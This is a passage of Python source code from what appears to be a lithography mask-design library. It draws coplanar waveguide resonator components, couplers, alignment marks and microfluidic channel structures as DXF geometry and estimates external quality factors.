(0,pinw/2+gapw), (self.gap,pinw/2+gapw), (self.gap,-pinw/2-gapw), (0,-pinw/2-gapw), (0,pinw/2+gapw) ] gpoints=orient_pts(gpoints,s.last_direction,start) #create polylines and append to drawing s.append(sdxf.PolyLine(gpoints)) #update last anchor position #stop=rotate_pt((start[0]+self.gap,start[1]),s.last_direction,start) s.last=orient_pt((self.gap,0),s.last_direction,start) def ext_Q(frequency,impedance=50,resonator_type=0.5): if self.capacitance==0: return 0 frequency=frequency*1e9 q=2.*pi*frequency*self.capacitance*impedance Q=0 if q!=0: Q=resonator_type*pi*1/(q**2) return Q class CPWInductiveShunt: """An inductive shunt""" def __init__(self,num_segments, segment_length, segment_width, segment_gap, taper_length = 0, pinw=None, inductance = 0.0): self.type='inductive shunt' self.inductance = inductance self.num_segments = num_segments self.segment_length = segment_length self.segment_width = segment_width self.segment_gap = segment_gap self.taper_length = taper_length self.pinw=pinw #self.gapw=gapw if (num_segments >0 ): self.gapw = (num_segments+1)*segment_gap+num_segments*segment_width else: self.gapw = segment_length def description(self): #print self.type,self.inductance,self.num_segments,self.segment_length,self.segment_width,self.segment_gap,self.pinw,self.gapw return "type:\t%s\tAssumed Inductance:\t%f pH\t# of segments:\t%d\tSegment length:\t%f\tSegment width:\t%f\tSegment gap:\t%f\tTotal inductor length:\t%f\tPin width:\t%f\tGap width:\t%f\tTaper length:\t%f" % ( self.type,self.inductance*1e12,self.num_segments,self.segment_length,self.segment_width,self.segment_gap,self.segment_length*self.num_segments+(self.num_segments+1)*self.segment_gap,self.pinw,self.gapw,self.taper_length ) def draw(self,structure,pad_to_length = 0, flipped= False): s=structure if self.pinw is None: self.pinw=s.defaults['pinw'] pinw=self.pinw gapw=self.gapw self.flipped = flipped if pad_to_length < self.segment_length+self.taper_length: self.padding=0 else: self.padding=pad_to_length-self.segment_length-self.taper_length if not self.flipped: CPWStraight(s,self.padding) CPWLinearTaper(s,length=self.taper_length,start_pinw=s.defaults['pinw'],start_gapw=s.defaults['gapw'],stop_pinw=pinw,stop_gapw=gapw) start=structure.last if self.num_segments >0: gap = [ (0,0), (self.segment_length-self.segment_width,0), (self.segment_length-self.segment_width,self.segment_gap), (0,self.segment_gap), (0,0) ] gaps=[] if self.flipped: flipped=1 else: flipped=0 for ii in range (self.num_segments+1): gaps.append( orient_pts( translate_pts(gap, (self.segment_width*((ii+flipped)%2),+pinw/2.0+ii*(self.segment_gap+self.segment_width))), s.last_direction,start) ) gaps.append( orient_pts( translate_pts(gap,(self.segment_width*((ii+flipped)%2),-(pinw/2.0+self.segment_gap+ii*(self.segment_gap+self.segment_width)))), s.last_direction,start) ) for pts in gaps: s.append(sdxf.PolyLine(pts)) s.last=orient_pt((self.segment_length,0),s.last_direction,start) else: #If num_segments == 0 then ugap1 = [ (0,pinw/2.), (0, pinw/2.+self.segment_length), (self.segment_gap, pinw/2.+self.segment_length), (self.segment_gap, pinw/2.), (0,pinw/2.0) ] ugap2 = translate_pts(ugap1,(self.segment_width+self.segment_gap,0)) lgap1 = mirror_pts(ugap1,0,(self.segment_width+self.segment_gap,0)) lgap2 = mirror_pts(ugap2,0,(self.segment_width+self.segment_gap,0)) ugap1 = orient_pts(ugap1,s.last_direction,s.last) ugap2 = orient_pts(ugap2,s.last_direction,s.last) lgap1 = orient_pts(lgap1,s.last_direction,s.last) lgap2 = orient_pts(lgap2,s.last_direction,s.last) for pts in [ugap1,ugap2,lgap1,lgap2]: s.append(sdxf.PolyLine(pts)) s.last=orient_pt((2*self.segment_gap+self.segment_width,0),s.last_direction,s.last) CPWLinearTaper(s,length=self.taper_length,start_pinw=pinw,start_gapw=gapw,stop_pinw=s.defaults['pinw'],stop_gapw=s.defaults['gapw']) if self.flipped: CPWStraight(s,self.padding) def ext_Q (self,frequency, impedance=50, resonator_type=0.5): if (self.inductance !=0): if resonator_type==0.5: return (2/pi)*(impedance/(self.inductance*2*pi*frequency*1e9))**2 if resonator_type==0.25: return (2./pi)*(impedance/(2*pi*frequency*1e9*self.inductance))**2 else: return 0.0 def rectangle_points(size,orientation=0,center=(0,0)): return orient_pts([ (-size[0]/2.,-size[1]/2.),(size[0]/2.,-size[1]/2.),(size[0]/2.,size[1]/2.),(-size[0]/2.,size[1]/2.),(-size[0]/2.,-size[1]/2.)],orientation,center) class CPWFingerCap: """A CPW finger capacitor""" def __init__(self,num_fingers,finger_length,finger_width,finger_gap,taper_length = 0, gapw=None,capacitance=0.0): self.type='finger' self.capacitance=capacitance #simulated capacitance self.num_fingers=num_fingers #number of fingers if num_fingers<2: raise MaskError("CPWFingerCap must have at least 2 fingers!") self.finger_length=finger_length #length of fingers self.finger_width=finger_width #width of each finger self.finger_gap=finger_gap self.gapw = gapw #gap between "center pin" and gnd planes self.pinw = num_fingers*finger_width+ (num_fingers-1)*finger_gap #effective center pin width sum of finger gaps and widths self.length=finger_length+finger_gap self.taper_length=taper_length self.total_length=finger_length+finger_gap+2.*taper_length def description(self): return "type:\t%s\tAssumed Capacitance:\t%f\t# of fingers:\t%d\tFinger Length:\t%f\tFinger Width:\t%f\tFinger Gap:\t%f\tTotal Pin Width:\t%f\tGap Width:\t%f\tTaper Length:\t%f" % ( self.type,self.capacitance*1e15,self.num_fingers,self.finger_length,self.finger_width,self.finger_gap,self.pinw,self.gapw,self.taper_length ) def draw(self,structure): s=structure pinw=self.pinw if self.gapw is None: self.gapw=self.pinw*s.defaults['gapw']/s.defaults['pinw'] gapw=self.gapw CPWLinearTaper(structure,length=self.taper_length,start_pinw=s.defaults['pinw'],start_gapw=s.defaults['gapw'],stop_pinw=pinw,stop_gapw=gapw) start=structure.last center_width=self.num_fingers*self.finger_width+ (self.num_fingers-1)*self.finger_gap length=self.finger_length+self.finger_gap gap1=[ (start[0],start[1]-center_width/2), (start[0]+length,start[1]-center_width/2), (start[0]+length,start[1]-center_width/2-gapw), (start[0],start[1]-center_width/2-gapw), (start[0],start[1]-center_width/2) ] gap2=[ (start[0],start[1]+center_width/2), (start[0]+length,start[1]+center_width/2), (start[0]+length,start[1]+center_width/2+gapw), (start[0],start[1]+center_width/2+gapw), (start[0],start[1]+center_width/2) ] gap1=rotate_pts(gap1,s.last_direction,start) gap2=rotate_pts(gap2,s.last_direction,start) stop=rotate_pt((start[0]+length,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(gap1)) s.append(sdxf.PolyLine(gap2)) #draw finger gaps for ii in range(self.num_fingers-1): if ii%2==0: pts=self.left_finger_points(self.finger_width,self.finger_length,self.finger_gap) else: pts=self.right_finger_points(self.finger_width,self.finger_length,self.finger_gap) pts=translate_pts(pts,start) pts=translate_pts(pts,(0,ii*(self.finger_width+self.finger_gap)-self.pinw/2)) pts=rotate_pts(pts,s.last_direction,start) s.append(sdxf.PolyLine(pts)) #draw last little box to separate sides pts = [ (0,0),(0,self.finger_width),(self.finger_gap,self.finger_width),(self.finger_gap,0),(0,0)] pts=translate_pts(pts,start) #if odd number of fingers add box on left otherwise on right pts=translate_pts(pts,( ((self.num_fingers+1) %2)*(length-self.finger_gap),(self.num_fingers-1)*(self.finger_width+self.finger_gap)-self.pinw/2)) pts=rotate_pts(pts,s.last_direction,start) s.append(sdxf.PolyLine(pts)) CPWLinearTaper(s,length=self.taper_length,start_pinw=pinw,start_gapw=gapw,stop_pinw=s.defaults['pinw'],stop_gapw=s.defaults['gapw']) def left_finger_points(self,finger_width,finger_length,finger_gap): pts= [ (0,0), (0,finger_width+finger_gap), (finger_length+finger_gap,finger_width+finger_gap), (finger_length+finger_gap,finger_width), (finger_gap,finger_width), (finger_gap,0), (0,0) ] return pts def right_finger_points(self,finger_width,finger_length,finger_gap): pts = [ (finger_length+finger_gap,0), (finger_length+finger_gap,finger_width+finger_gap), (0,finger_width+finger_gap), (0,finger_width), (finger_length,finger_width), (finger_length,0), (finger_length+finger_gap,0) ] return pts def ext_Q(self,frequency,impedance=50,resonator_type=0.5): if self.capacitance==0: return 0 frequency=frequency*1e9 q=2.*pi*frequency*self.capacitance*impedance Q=0 if q!=0: Q=1/(resonator_type*pi) *1/ (q**2) return Q class CPWLCoupler: """A structure which is coupled to a CPW via an L coupler, used for medium to high Q hangers""" def __init__(self,coupler_length,separation,flipped=False,padding_type=None,pad_to_length=None,pinw=None,gapw=None,radius=None,spinw=None,sgapw=None,capacitance=0.0): self.type='L' self.coupler_length=coupler_length self.separation=separation self.padding_type=padding_type self.pad_to_length=pad_to_length self.pinw=pinw self.gapw=gapw self.radius=radius self.spinw=spinw self.sgapw=sgapw self.capacitance=capacitance self.flipped=flipped def description(self): return "Type:\t%s\tEstimated Capacitance:\t%f\tCoupler Length:\t%f\tCoupler Separation:\t%f\tPin Width:\t%f\tGap Width:\t%f\tRadius:\t%f\tFeedline Pin Width:\t%f\tFeedline Gap Width:\t%f\t" % ( self.type,self.capacitance,self.coupler_length,self.separation,self.pinw,self.gapw,self.radius,self.spinw,self.sgapw ) def draw(self,structure,padding_type=None,pad_to_length=0): """Draws the coupler and creates the new structure (self.coupled_structure) for building onto""" s=structure if self.pinw is None: self.pinw=s.defaults['pinw'] if self.gapw is None: self.gapw=s.defaults['gapw'] if self.radius is None: self.radius=s.defaults['radius'] self.padding_type=padding_type self.pad_to_length=pad_to_length self.spinw=s.defaults['pinw'] self.sgapw=s.defaults['gapw'] start=s.last start_dir=s.last_direction lstart_dir=start_dir+180 if self.flipped: flip_sign=-1 else: flip_sign=1 offset_length=0 if padding_type=='center': offset_length=pad_to_length/2 lstart=(offset_length+self.coupler_length+self.gapw+self.radius,flip_sign*self.separation) if padding_type=='right': lstart=(pad_to_length-gapw,lstart[1]) lstart=rotate_pt(lstart,start_dir) lstart=translate_pt(lstart,start) self.coupled_structure=Structure(s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) cs=self.coupled_structure cs.defaults['pinw']=self.pinw cs.defaults['gapw']=self.gapw cs.defaults['radius']=self.radius #Continue the feedline self.feed_length=self.coupler_length+self.radius if (not self.pad_to_length is None) and (self.pad_to_length > self.feed_length): self.feed_length=self.pad_to_length CPWStraight(s,self.feed_length,self.spinw,self.sgapw) #make the coupler CPWGapCap(gap=self.gapw).draw(cs) CPWStraight(cs,self.coupler_length) CPWBend(cs,-90*flip_sign) def ext_Q(self,frequency,impedance=50,resonator_type=0.5): if self.capacitance==0: return 0 frequency=frequency*1e9 q=2.*pi*frequency*self.capacitance*impedance Q=0 if q!=0: Q=resonator_type*pi*1/(q**2) return Q class CPWTee(Structure): """CPWTee makes a Tee structure with padding""" def __init__(self,structure,stub_length=None,feed_length=None,flipped=False,pinw=None,gapw=None,spinw=None,sgapw=None): """ stub_length is from center flipped determines whether stub is on left or right of wrt current direction pinw/gapw are the usual for the stub spinw/sgapw are the usual for the continuing part """ s=structure #print sgapw if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if spinw is None: spinw=s.defaults['pinw'] if sgapw is None: sgapw=s.defaults['gapw'] #print "pinw: %f, gapw: %f, spinw: %f, sgapw: %f" % (pinw,gapw,spinw,sgapw) #minimum feed_length is if (feed_length is None) or (feed_length < 2*gapw+pinw): feed_length=2*gapw+pinw #minimum stub_length is if (stub_length is None) or (stub_length < gapw+spinw): stub_length=gapw+spinw/2 #print "pinw: %f, gapw: %f, spinw: %f, sgapw: %f" % (pinw,gapw,spinw,sgapw) start=s.last start_dir=s.last_direction if flipped: lstart_dir=start_dir-90 angle=start_dir+180 else: lstart_dir=start_dir+90 angle=start_dir #Bottom part of feed_line pts1=[ (-feed_length/2.,-spinw/2.), (-feed_length/2.,-sgapw-spinw/2.0), (feed_length/2.,-sgapw-spinw/2.0),(feed_length/2.,-spinw/2.), (-feed_length/2.,-spinw/2.)] #Top of feed_line pts2=[ (-feed_length/2,spinw/2.), (-pinw/2.-gapw,spinw/2.), (-pinw/2.-gapw,gapw+spinw/2.), (-feed_length/2.,gapw+spinw/2.), (-feed_length/2,spinw/2.) ] pts3=[ (feed_length/2,spinw/2.), (pinw/2.+gapw,spinw/2.), (pinw/2.+gapw,gapw+spinw/2.), (feed_length/2.,gapw+spinw/2.), (feed_length/2,spinw/2.) ] #stub pts4=[ (-pinw/2.,spinw/2.), (-pinw/2.,stub_length), (-pinw/2.-gapw,stub_length), (-pinw/2.-gapw,spinw/2.), (-pinw/2.,spinw/2.) ] pts5=[ (pinw/2.,spinw/2.), (pinw/2.,stub_length), (pinw/2.+gapw,stub_length), (pinw/2.+gapw,spinw/2.), (pinw/2.,spinw/2.) ] shapes=[pts1,pts2,pts3,pts4,pts5] center=orient_pt((feed_length/2.,0),s.last_direction,s.last) for pts in shapes: pts=orient_pts(pts,angle,center) s.append(sdxf.PolyLine(pts)) s.last=orient_pt((feed_length,0),s.last_direction,s.last) lstart=orient_pt((stub_length,0),lstart_dir,center) Structure.__init__(self,s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) self.defaults['pinw']=pinw self.defaults['gapw']=gapw class FingerCoupler(Structure): """Finger coupler a CPWTee plus finger capacitor...not used yet...""" def __init__(self,structure,cap_desc,stub_length=None,padding_length=None,flipped=False,pinw=None,gapw=None,taper_length=0,spinw=None,sgapw=None): CPWTee.__init__(structure,stub_length,padding_length,flipped,spinw,sgapw) if pinw is None: pinw=structure['pinw'] if gapw is None: gapw=structure['gapw'] CPWLinearTaper(self,taper_length,self.defaults['pinw'],cap_desc.pinw,self.defaults['gapw'],cap_desc.gapw) cap_desc.draw_cap(self) CPWLinearTaper(self,taper_length,cap_desc.pinw,pinw,cap_desc.gapw,gapw) #=============================================================================== # NEW CLASSES FOR CHANNEL STRUCTURES & TWO-LAYER PHOTOLITHOGRAPHY #=============================================================================== class LShapeAlignmentMarks: def __init__(self,structure,width,armlength): """creates an L shaped alignment marker of width and armlength for photolitho""" if width==0: return if armlength==0: return s=structure start=s.last box1=[ (start[0]-width/2.,start[1]-width/2.), (start[0]+armlength-width/2.,start[1]-width/2.), (start[0]+armlength-width/2.,start[1]+width/2.), (start[0]+width/2.,start[1]+width/2.), (start[0]+width/2.,start[1]+armlength-width/2.), (start[0]-width/2.,start[1]+armlength-width/2.), (start[0]-width/2.,start[1]-width/2.)] box1=rotate_pts(box1,s.last_direction,start) stop=rotate_pt((start[0]+armlength,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(box1)) #---------------------------------------------------------------------------- class ArrowAlignmentMarks_L1: def __init__(self,structure,height,width,buffer=30): """creates an arrow/triangle of height and base width for alignment""" if height==0: return if width==0: return s=structure start=s.last triangle=[(start[0]+buffer,start[1]),(start[0]+buffer,start[1]+width),(start[0]+buffer+height,start[1]+width/2),(start[0]+buffer,start[1])] triangle=rotate_pts(triangle,s.last_direction,start) stop=rotate_pt((start[0]+height,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(triangle)) #---------------------------------------------------------------------------- class ArrowAlignmentMarks_L2: def __init__(self,structure,height,width,buffer=30): """creates an arrow/triangle of height and base width for alignment""" if height==0: return if width==0: return s=structure start=s.last box=[(start[0],start[1]),(start[0],start[1]+width),(start[0]+buffer+height,start[1]+width),(start[0]+buffer+height,start[1]),(start[0],start[1])] triangle=[(start[0]+buffer+height,start[1]+width/2),(start[0]+buffer+height+height,start[1]),(start[0]+buffer+height+height,start[1]+width),(start[0]+buffer+height,start[1]+width/2)] box=rotate_pts(box,s.last_direction,start) triangle=rotate_pts(triangle,s.last_direction,start) stop=rotate_pt((start[0]+height,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(box)) s.append(sdxf.PolyLine(triangle)) #---------------------------------------------------------------------------- class Channel: """A simple channel of given width and length""" def __init__(self, structure,length,channelw): """ Adds a channel of width=channelw and of length = length to the structure""" if length==0: return if channelw==0: return s=structure start=structure.last ch1=[ (start[0],start[1]-channelw/2), (start[0]+length,start[1]-channelw/2.), (start[0]+length,start[1]+channelw/2), (start[0],start[1]+channelw/2.), (start[0],start[1]-channelw/2.) ] ch1=rotate_pts(ch1,s.last_direction,start) stop=rotate_pt((start[0]+length,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(ch1)) #---------------------------------------------------------------------------- class ChannelLinearTaper: """A section of channel which (linearly) tapers from width=start_channelw to stop_channelw over length=length""" def __init__(self, structure,length,start_channelw,stop_channelw): if length==0: return #load attributes s=structure start=s.last #define geometry of channel ch1= [ (start[0],start[1]-start_channelw/2), (start[0]+length,start[1]-stop_channelw/2), (start[0]+length,start[1]+stop_channelw/2), (start[0],start[1]+start_channelw/2), (start[0],start[1]-start_channelw/2) ] #rotate structure to proper orientation ch1=rotate_pts(ch1,s.last_direction,start) #create polylines and append to drawing s.append(sdxf.PolyLine(ch1)) #update last anchor position stop=rotate_pt((start[0]+length,start[1]),s.last_direction,start) s.last=stop #------------------------------------------------------------------------------------------ #------------------------------------------------------------------------------------------------- class ChannelLauncher: """creates a channel launcher with a pad of length=pad_length and width=padwidth and a taper of length=taper_length which linearly tapers from padwidth to channelwidth""" def __init__(self,structure,flipped=False,pad_length=500,taper_length=400,pad_to_length=1000,padwidth=300,channelwidth=None): s=structure padding = pad_to_length-pad_length-taper_length if padding <0: padding=0 self.length=pad_length+taper_length else: self.length=pad_to_length if not flipped: Channel(s,length=pad_length,channelw=padwidth) ChannelLinearTaper(s,length=taper_length,start_channelw=padwidth,stop_channelw=channelwidth) Channel(s,length=padding,channelw=channelwidth) else: Channel(s,length=padding,channelw=channelwidth) ChannelLinearTaper(s,length=taper_length,start_channelw=channelwidth,stop_channelw=padwidth) Channel(s,length=pad_length,channelw=padwidth) #------------------------------------------------------------------------------------------------- class ChannelBend: """A Channel bend - adapted from CPWBend""" def __init__(self,structure,turn_angle,channelw=None,radius=None,polyarc=True,segments=60): """creates a channel bend with channelw/radius @param turn_angle: turn_angle is in degrees, positive is CCW, negative is CW """ #load default values if necessary if turn_angle==0: return s=structure if radius is None: radius=s.defaults['radius'] if channelw is None: channelw=s.defaults['channelw'] self.structure=structure self.turn_angle=turn_angle self.channelw=channelw self.radius=radius self.segments=segments self.pinw=0 self.gapw=channelw/2 self.start=s.last self.start_angle=s.last_direction self.stop_angle=self.start_angle+self.turn_angle if turn_angle>0: self.asign=1 else: self.asign=-1 #DXF uses the angle of the radial vector for its start and stop angles #so we have to rotate our angles by 90 degrees to get them right #also it only knows about arcs with CCW sense to them, so we have to rotate our angles appropriately self.astart_angle=self.start_angle-self.asign*90 self.astop_angle=self.stop_angle-self.asign*90 #calculate location of Arc center self.center=rotate_pt( (self.start[0],self.start[1]+self.asign*self.radius),self.start_angle,self.start) if polyarc: self.poly_arc_bend() else: self.arc_bend() self.structure.last=rotate_pt(self.start,self.stop_angle-self.start_angle,self.center) self.structure.last_direction=self.stop_angle def arc_bend(self): #print "start: %d, stop: %d" % (start_angle,stop_angle) if self.turn_angle>0: self.astart_angle=self.start_angle-90 self.astop_angle=self.stop_angle-90 #calculate location of Arc center self.center=rotate_pt( (self.start[0],self.start[1]+self.radius),self.start_angle,self.start) else: self.astart_angle=self.stop_angle+90 self.astop_angle=self.start_angle+90 #make endlines for inner arc #start first gap #points1=[ (self.start[0],self.start[1]+self.pinw/2.), # (self.start[0],self.start[1]+self.pinw/2.+self.gapw) #] points1=[ (self.start[0],self.start[1]+self.gapw), (self.start[0],self.start[1]-self.gapw) ] points1=rotate_pts(points1,self.start_angle,self.start) points2=rotate_pts(points1,self.stop_angle-self.start_angle,self.center) #start 2nd gap #points3=[ (self.start[0],self.start[1]-self.pinw/2.), # (self.start[0],self.start[1]-self.pinw/2.-self.gapw) # ] #points3=rotate_pts(points3,self.start_angle,self.start) #points4=rotate_pts(points3,self.stop_angle-self.start_angle,self.center) #make inner arcs self.structure.append(sdxf.Line(points1)) self.structure.append(sdxf.Arc(self.center,self.radius+self.pinw/2.,self.astart_angle,self.astop_angle)) self.structure.append(sdxf.Arc(self.center,self.radius+self.pinw/2.+self.gapw,self.astart_angle,self.astop_angle)) self.structure.append(sdxf.Line(points2)) #self.structure.append(sdxf.Line(points3)) #self.structure.append(sdxf.Arc(self.center,self.radius-self.pinw/2.,self.astart_angle,self.astop_angle)) #self.structure.append(sdxf.Arc(self.center,self.radius-self.pinw/2.-self.gapw,self.astart_angle,self.astop_angle)) #self.structure.append(sdxf.Line(points4)) def poly_arc_bend(self): #lower gap pts1=arc_pts(self.astart_angle,self.astop_angle,self.radius+self.pinw/2.+self.gapw,self.segments) pts1.extend(arc_pts(self.astop_angle,self.astart_angle,self.radius+self.pinw/2.,self.segments)) pts1.append(pts1[0]) pts2=arc_pts(self.astart_angle,self.astop_angle,self.radius-self.pinw/2.,self.segments) pts2.extend(arc_pts(self.astop_angle,self.astart_angle,self.radius-self.pinw/2.-self.gapw,self.segments)) pts2.append(pts2[0]) self.structure.append(sdxf.PolyLine(translate_pts(pts1,self.center))) self.structure.append(sdxf.PolyLine(translate_pts(pts2,self.center))) #------------------------------------------------------------------------------------------------- class ChannelWiggles: """Channel Wiggles (meanders) = adapted from CPWWiggles""" def __init__(self,structure,num_wiggles,total_length,start_up=True,radius=None,channelw=None,endbending1=True,endbending2=True,inverted=False): """ @param num_wiggles: a wiggle is from the center pin up/down and back @param total_length: The total length of the meander @param start_up: Start with a CCW 90 degree turn or a CW turn @param endbending: gives you the option of wheither or not to have an additional 90 degree bend back to horizontal at the two ends """ s=structure start=structure.last if channelw is None: channelw=s.defaults['channelw'] if radius is None: radius=s.defaults['radius'] #calculate vertical segment length: #total length=number of 180 degree arcs + number of vertical segs + vertical radius spacers #total_length=(1+num_wiggles)*(pi*radius)+2*num_wiggles*vlength+2*(num_wiggles-1)*radius vlength=(total_length-((1+num_wiggles)*(pi*radius)+2*(num_wiggles-1)*radius))/(2*num_wiggles) if vlength<0: print("Warning: length of vertical segments is less than 0, increase total_length or decrease num_wiggles") if start_up: asign=1 else: asign=-1 if endbending1: ChannelBend(s,asign*90,channelw,radius) for ii in range(num_wiggles): isign=2*(ii%2)-1 if inverted: isign=-(2*(ii%2)-1) Channel(s,vlength,channelw) ChannelBend(s,isign*asign*180,channelw,radius) Channel(s,vlength,channelw) if ii<num_wiggles-1: Channel(s,2*radius,channelw) if endbending2: ChannelBend(s,-isign*asign*90,channelw,radius) #------------------------------------------------------------------------------------------------- class ChannelTee(Structure): """ChannelTee makes a Tee structure with padding""" def __init__(self,structure,stub_length=None,feed_length=None,flipped=False,channelw=None): """ stub_length is from center flipped determines whether stub is on left or right of wrt current direction pinw/gapw are the usual for the stub spinw/sgapw are the usual for the continuing part """ s=structure if channelw is None: channelw=s.defaults['channelw'] #minimum feed_length is if (feed_length is None) or (feed_length < channelw): feed_length=channelw #minimum stub_length is if (stub_length is None) or (stub_length < channelw): stub_length=channelw #print "pinw: %f, gapw: %f, spinw: %f, sgapw: %f" % (pinw,gapw,spinw,sgapw) start=s.last start_dir=s.last_direction if flipped: lstart_dir=start_dir-90 angle=start_dir+180 else: lstart_dir=start_dir+90 angle=start_dir #feed_line pts1=[ (-feed_length/2.,-channelw/2.), (-feed_length/2.,channelw/2.), (feed_length/2.,channelw/2.),(feed_length/2.,-channelw/2.), (-feed_length/2.,-channelw/2.)] #stub pts2=[ (-channelw/2.,channelw/2),(-channelw/2.,stub_length),(channelw/2.,stub_length),(channelw/2.,channelw/2.),(-channelw/2.,channelw/2.) ] shapes=[pts1,pts2] center=orient_pt((feed_length/2.,0),s.last_direction,s.last) for pts in shapes: pts=orient_pts(pts,angle,center) s.append(sdxf.PolyLine(pts)) s.last=orient_pt((feed_length,0),s.last_direction,s.last) lstart=orient_pt((stub_length,0),lstart_dir,center) Structure.__init__(self,s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) self.defaults['channelw']=channelw #---------------------------------------------------------------------------------- class CenterPinTee(Structure): """CCDChannelTee makes a Tee structure with microchannels attached""" def __init__(self,structure,stub_length=None,feed_length=None,flipped=False,pinw=None,gapw=None,spinw=None,sgapw=None,notchwidth=10,couplinglength=100,channelwidth=8): """ stub_length is from center flipped determines whether stub is on left or right of wrt current direction pinw/gapw are the usual for the stub spinw/sgapw are the usual for the continuing part """ s=structure #print sgapw if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if spinw is None: spinw=s.defaults['pinw'] if sgapw is None: sgapw=s.defaults['gapw'] #print "pinw: %f, gapw: %f, spinw: %f, sgapw: %f" % (pinw,gapw,spinw,sgapw) #minimum feed_length is if (feed_length is None) or (feed_length < 2*gapw+pinw): feed_length=2*gapw+pinw #minimum stub_length is if (stub_length is None) or (stub_length < gapw+spinw): stub_length=gapw+spinw/2 #print "pinw: %f, gapw: %f, spinw: %f, sgapw: %f" % (pinw,gapw,spinw,sgapw) start=s.last start_dir=s.last_direction if flipped: lstart_dir=start_dir-90 angle=start_dir+180 else: lstart_dir=start_dir+90 angle=start_dir #Bottom part of feed_line pts1=[ (-feed_length/2.,-spinw/2.), (-feed_length/2.,-sgapw-spinw/2.0), (feed_length/2.,-sgapw-spinw/2.0),(feed_length/2.,-spinw/2.), (-feed_length/2.,-spinw/2.)] #Top of feed_line pts2=[ (-feed_length/2,spinw/2.), (-pinw/2.-gapw,spinw/2.), (-pinw/2.-gapw,gapw+spinw/2.), (-feed_length/2.,gapw+spinw/2.), (-feed_length/2,spinw/2.) ] pts3=[ (feed_length/2,spinw/2.), (pinw/2.+gapw,spinw/2.), (pinw/2.+gapw,gapw+spinw/2.), (feed_length/2.,gapw+spinw/2.), (feed_length/2,spinw/2.) ] #stub pts4=[ (-pinw/2.,spinw/2.), (-pinw/2.,stub_length), (-pinw/2.-gapw,stub_length), (-pinw/2.-gapw,spinw/2.), (-pinw/2.,spinw/2.) ] pts5=[ (pinw/2.,spinw/2.), (pinw/2.,stub_length), (pinw/2.+gapw,stub_length), (pinw/2.+gapw,spinw/2.), (pinw/2.,spinw/2.) ] pts6=[ (-pinw/2.,stub_length), (-pinw/2.,stub_length+couplinglength), (-pinw/2.-notchwidth,stub_length+couplinglength), (-pinw/2.-notchwidth,stub_length), (-pinw/2.,stub_length) ] pts7=[ (pinw/2.,stub_length), (pinw/2.,stub_length+couplinglength), (pinw/2.+notchwidth,stub_length+couplinglength), (pinw/2.+notchwidth,stub_length), (pinw/2.,stub_length) ] shapes=[pts1,pts2,pts3,pts4,pts5,pts6,pts7] center=orient_pt((0,0),s.last_direction,s.last) for pts in shapes: pts=orient_pts(pts,angle,center) s.append(sdxf.PolyLine(pts)) s.last=orient_pt((feed_length,0),s.last_direction,s.last) lstart=orient_pt((stub_length,0),lstart_dir,center) Structure.__init__(self,s.chip,start=lstart,direction=lstart_dir,layer=s.layer,color=s.color,defaults=s.defaults) self.defaults['pinw']=pinw self.defaults['gapw']=gapw #------------------------------------------------------------------------------------------------- class CCDChannelTee(Structure): """CCDChannelTee makes a tee structure with microchannels attached; This is the first layer structure, i.e. everything that's connected to the center pin of the cavity, second layer see below""" def __init__(self,structure,stub_length=None,feed_length=None,flipped=False,pinw=None,gapw=None,spinw=None,sgapw=None,ccdwidth=100,ccdlength=100,channelwidth=8): s=structure #print sgapw if pinw is None: pinw=s.defaults['pinw'] if gapw is None: gapw=s.defaults['gapw'] if spinw is None: spinw=s.defaults['pinw'] if sgapw is None: sgapw=s.defaults['gapw'] #minimum feed_length is if (feed_length is None) or (feed_length < 2*gapw+pinw): feed_length=2*gapw+pinw #minimum stub_length is if (stub_length is None) or (stub_length < gapw+spinw): stub_length=gapw+spinw/2 start=s.last start_dir=s.last_direction if flipped: lstart_dir=start_dir-90 angle=start_dir+180 else: lstart_dir=start_dir+90 angle=start_dir #Bottom part of feed_line pts1=[ (-feed_length/2.,-spinw/2.), (-feed_length/2.,-sgapw-spinw/2.0), (feed_length/2.,-sgapw-spinw/2.0),(feed_length/2.,-spinw/2.), (-feed_length/2.,-spinw/2.)] #Top of feed_line pts2=[ (-feed_length/2,spinw/2.), (-pinw/2.-gapw,spinw/2.), (-pinw/2.-gapw,gapw+spinw/2.), (-feed_length/2.,gapw+spinw/2.), (-feed_length/2,spinw/2.) ] pts3=[ (feed_length/2,spinw/2.), (pinw/2.+gapw,spinw/2.), (pinw/2.+gapw,gapw+spinw/2.), (feed_length/2.,gapw+spinw/2.), (feed_length/2,spinw/2.) ] #stub pts4=[ (-pinw/2.,spinw/2.), (-pinw/2.,stub_length), (-pinw/2.-gapw,stub_length), (-pinw/2.-gapw,spinw/2.), (-pinw/2.,spinw/2.) ] pts5=[ (pinw/2.,spinw/2.), (pinw/2.,stub_length), (pinw/2.+gapw,stub_length), (pinw/2.+gapw,spinw/2.), (pinw/2.,spinw/2.) ] #channels/CCD pts6=[(-pinw/2.,stub_length),(-pinw/2.,stub_length+gapw),(-pinw/2.-ccdwidth/2.,stub_length+gapw),(-pinw/2.-ccdwidth/2.,stub_length),(-pinw/2.,stub_length)] pts7=[(pinw/2.,stub_length),(pinw/2.,stub_length+gapw),(pinw/2.+ccdwidth/2.,stub_length+gapw),(pinw/2.+ccdwidth/2.,stub_length),(pinw/2.,stub_length)] pts8=[(-pinw/2.-ccdwidth/2.+gapw,stub_length+gapw),(-pinw/2.-ccdwidth/2.+gapw,stub_length+gapw+ccdlength-gapw),(-pinw/2.-ccdwidth/2.,stub_length+gapw+ccdlength-gapw),(-pinw/2.-ccdwidth/2.,stub_length+gapw),(-pinw/2.-ccdwidth/2.+gapw,stub_length+gapw)] 